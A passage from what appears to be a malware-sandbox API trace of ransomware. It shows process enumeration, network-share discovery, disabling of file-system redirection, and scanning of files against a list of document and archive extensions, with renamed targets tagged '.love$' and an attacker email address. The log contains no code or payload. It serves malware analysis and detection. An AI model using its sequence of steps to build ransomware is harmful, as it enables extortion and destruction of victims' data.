(lpString="taskhostw.exe") returned 13 [0284.789] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0284.790] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0284.790] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0284.790] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0284.790] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0284.791] lstrlenW (lpString="Memory Compression") returned 18 [0284.791] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0284.791] lstrlenW (lpString="explorer.exe") returned 12 [0284.792] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0284.792] lstrlenW (lpString="SearchUI.exe") returned 12 [0284.792] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0284.794] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0284.794] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0284.794] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0284.794] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0284.795] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0284.795] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.795] lstrlenW (lpString="svchost.exe") returned 11 [0284.795] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0284.796] lstrlenW (lpString="finbbp.exe") returned 10 [0284.796] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0284.796] lstrlenW (lpString="cmd.exe") returned 7 [0284.796] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x438, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0284.797] lstrlenW (lpString="conhost.exe") returned 11 [0284.797] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0285.284] lstrlenW (lpString="cmd.exe") returned 7 [0285.284] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0285.284] lstrlenW (lpString="conhost.exe") returned 11 [0285.285] Process32NextW (in: hSnapshot=0x374, lppe=0x24bfd2c | out: lppe=0x24bfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0285.285] CloseHandle (hObject=0x374) returned 1 [0285.285] Sleep (dwMilliseconds=0x1f4) Thread: id = 90 os_tid = 0x5f8 [0282.767] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0xffffffff) returned 0x80 [0282.767] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5227d0 | out: hHeap=0x4e0000) returned 1 Thread: id = 91 os_tid = 0x604 [0282.768] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x57b4f0 [0282.768] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x57b4f0, Size=0x20) returned 0x51d580 [0282.768] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x51d580, Size=0x40) returned 0x4f7470 [0282.768] GetLogicalDrives () returned 0x4 [0282.768] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xfffe) returned 0x555160 [0282.769] GetComputerNameW (in: lpBuffer=0x555164, nSize=0x26fff64 | out: lpBuffer="NQDPDE", nSize=0x26fff64) returned 1 [0282.769] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1000) returned 0x53b990 [0282.769] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26fff34 | out: lphEnum=0x26fff34*=0x4f6610) returned 0x0 [0282.770] WNetEnumResourceW (in: hEnum=0x4f6610, lpcCount=0x26fff30, lpBuffer=0x53b990, lpBufferSize=0x26fff38 | out: lpcCount=0x26fff30, lpBuffer=0x53b990, lpBufferSize=0x26fff38) returned 0x103 [0282.831] WNetCloseEnum (hEnum=0x4f6610) returned 0x0 [0282.831] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26fff34 | out: lphEnum=0x26fff34*=0x4f9da8) returned 0x0 [0282.857] WNetEnumResourceW (in: hEnum=0x4f9da8, lpcCount=0x26fff30, lpBuffer=0x53b990, lpBufferSize=0x26fff38 | out: lpcCount=0x26fff30, lpBuffer=0x53b990, lpBufferSize=0x26fff38) returned 0x0 [0282.857] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1000) returned 0x57fdd8 [0282.858] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x53b990, lphEnum=0x26fff08 | out: lphEnum=0x26fff08*=0x4f6670) returned 0x0 [0283.078] WNetEnumResourceW (in: hEnum=0x4f6670, lpcCount=0x26fff04, lpBuffer=0x57fdd8, lpBufferSize=0x26fff0c | out: lpcCount=0x26fff04, lpBuffer=0x57fdd8, lpBufferSize=0x26fff0c) returned 0x103 [0283.078] WNetCloseEnum (hEnum=0x4f6670) returned 0x0 [0283.078] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x1000) returned 0x57ddc8 [0283.078] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x53b9b0, lphEnum=0x26fff08) Thread: id = 92 os_tid = 0x600 [0282.771] GetTickCount () returned 0x114fbb7 [0282.771] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x24) returned 0x4f5538 [0282.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f5538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284 [0282.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f5538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288 [0282.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f5538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c [0282.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f5538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290 [0282.773] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x5227d0 [0282.773] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x5227d0, Size=0x20) returned 0x51d800 [0282.773] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x5227d0 [0282.773] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x5227d0, Size=0x20) returned 0x51d530 [0282.774] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.774] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.774] Wow64DisableWow64FsRedirection (in: OldValue=0x283ff7c | out: OldValue=0x283ff7c*=0x0) returned 1 [0282.774] lstrlenW (lpString="kernel32.dll") returned 12 [0282.774] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d800 | out: hHeap=0x4e0000) returned 1 [0282.774] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.774] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d530 | out: hHeap=0x4e0000) returned 1 [0282.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x524928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294 [0282.777] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102 [0283.093] GetTickCount () returned 0x114fcef [0283.093] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102 [0283.362] GetTickCount () returned 0x114fe08 [0283.362] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102 [0283.610] GetTickCount () returned 0x114fef3 [0283.610] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102 [0283.968] GetTickCount () returned 0x115005a [0283.968] GetTickCount () returned 0x115005a [0283.968] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102 [0284.517] GetTickCount () returned 0x115028d [0284.517] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102 [0284.798] GetTickCount () returned 0x11503a6 [0284.798] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) returned 0x102 [0285.392] GetTickCount () returned 0x11505f8 [0285.392] GetTickCount () returned 0x11505f8 [0285.392] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x64) Thread: id = 93 os_tid = 0xc6c [0282.777] GetTickCount () returned 0x114fbb7 [0282.777] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x24) returned 0x4f55c8 [0282.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f55c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298 [0282.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f55c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c [0282.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f55c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0 [0282.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x4f55c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4 [0282.779] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53abc0 [0282.779] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53abc0, Size=0x20) returned 0x51d530 [0282.779] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53a9c8 [0282.779] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53a9c8, Size=0x20) returned 0x51d800 [0282.780] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.780] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.780] Wow64DisableWow64FsRedirection (in: OldValue=0x297ff7c | out: OldValue=0x297ff7c*=0x0) returned 1 [0282.780] lstrlenW (lpString="kernel32.dll") returned 12 [0282.780] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d530 | out: hHeap=0x4e0000) returned 1 [0282.780] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.780] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d800 | out: hHeap=0x4e0000) returned 1 [0282.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x545140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8 [0282.781] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102 [0283.093] GetTickCount () returned 0x114fcef [0283.093] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102 [0283.363] GetTickCount () returned 0x114fe08 [0283.363] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102 [0283.610] GetTickCount () returned 0x114ff02 [0283.610] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102 [0283.968] GetTickCount () returned 0x115005a [0283.968] GetTickCount () returned 0x115005a [0283.968] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102 [0284.517] GetTickCount () returned 0x115028d [0284.517] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102 [0284.798] GetTickCount () returned 0x11503a6 [0284.798] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) returned 0x102 [0285.439] GetTickCount () returned 0x1150626 [0285.439] GetTickCount () returned 0x1150626 [0285.439] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x64) Thread: id = 95 os_tid = 0x430 [0282.884] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x58bd98 [0282.884] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10000) returned 0x59bda0 [0282.885] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ac38 [0282.885] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x6) returned 0x57a208 [0282.885] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53aa10 [0282.885] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x100000) returned 0x34c3020 [0282.889] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53a9f8 [0282.889] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53a9f8, Size=0x20) returned 0x51d8f0 [0282.889] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x53ac50 [0282.889] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x53ac50, Size=0x20) returned 0x51d580 [0282.889] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.889] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.889] Wow64DisableWow64FsRedirection (in: OldValue=0x25bff50 | out: OldValue=0x25bff50*=0x0) returned 1 [0282.889] lstrlenW (lpString="kernel32.dll") returned 12 [0282.889] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d8f0 | out: hHeap=0x4e0000) returned 1 [0282.889] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.889] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d580 | out: hHeap=0x4e0000) returned 1 [0282.890] Sleep (dwMilliseconds=0x64) [0283.167] Sleep (dwMilliseconds=0x64) [0283.409] Sleep (dwMilliseconds=0x64) [0283.840] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0283.840] lstrlenW (lpString="base_altgr.xml") returned 14 [0283.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.841] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=3524) returned 1 [0283.841] CloseHandle (hObject=0x35c) returned 1 [0283.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0283.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.842] lstrlenW (lpString=".doc") returned 4 [0283.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.842] lstrlenW (lpString=".docx") returned 5 [0283.842] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0283.842] lstrlenW (lpString=".pdf") returned 4 [0283.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.842] lstrlenW (lpString=".xls") returned 4 [0283.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.842] lstrlenW (lpString=".xlsx") returned 5 [0283.842] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0283.842] lstrlenW (lpString=".ppt") returned 4 [0283.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.842] lstrlenW (lpString=".zip") returned 4 [0283.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.842] lstrlenW (lpString=".rar") returned 4 [0283.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.842] lstrlenW (lpString=".bz2") returned 4 [0283.842] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.842] lstrlenW (lpString=".7z") returned 3 [0283.842] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.842] lstrlenW (lpString=".dbf") returned 4 [0283.842] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.842] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.843] lstrlenW (lpString=".1cd") returned 4 [0283.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.843] lstrlenW (lpString=".jpg") returned 4 [0283.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.843] lstrlenW (lpString=".doc") returned 4 [0283.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.843] lstrlenW (lpString=".docx") returned 5 [0283.843] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0283.843] lstrlenW (lpString=".pdf") returned 4 [0283.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.843] lstrlenW (lpString=".xls") returned 4 [0283.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.843] lstrlenW (lpString=".xlsx") returned 5 [0283.843] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0283.843] lstrlenW (lpString=".ppt") returned 4 [0283.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.843] lstrlenW (lpString=".zip") returned 4 [0283.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.843] lstrlenW (lpString=".rar") returned 4 [0283.843] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.843] lstrlenW (lpString=".bz2") returned 4 [0283.844] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.844] lstrlenW (lpString=".7z") returned 3 [0283.844] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.844] lstrlenW (lpString=".dbf") returned 4 [0283.844] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.844] lstrlenW (lpString=".1cd") returned 4 [0283.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0283.844] lstrlenW (lpString=".jpg") returned 4 [0283.844] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0283.844] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0283.844] lstrlenW (lpString="base_ca.xml") returned 11 [0283.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0283.845] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x25bff14 | out: lpFileSize=0x25bff14*=3529) returned 1 [0283.845] CloseHandle (hObject=0x35c) returned 1 [0283.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0283.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0283.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0283.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.846] lstrlenW (lpString=".doc") returned 4 [0283.846] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0283.846] lstrlenW (lpString=".docx") returned 5 [0283.846] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0283.846] lstrlenW (lpString=".pdf") returned 4 [0283.846] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0283.846] lstrlenW (lpString=".xls") returned 4 [0283.846] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0283.846] lstrlenW (lpString=".xlsx") returned 5 [0283.846] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0283.846] lstrlenW (lpString=".ppt") returned 4 [0283.846] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0283.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.846] lstrlenW (lpString=".zip") returned 4 [0283.846] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0283.846] lstrlenW (lpString=".rar") returned 4 [0283.846] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0283.846] lstrlenW (lpString=".bz2") returned 4 [0283.846] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0283.846] lstrlenW (lpString=".7z") returned 3 [0283.846] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0283.846] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.846] lstrlenW (lpString=".dbf") returned 4 [0283.846] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0283.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.847] lstrlenW (lpString=".1cd") returned 4 [0283.847] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0283.847] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81 [0283.847] lstrlenW (lpString=".jpg") returned 4 [0283.847] 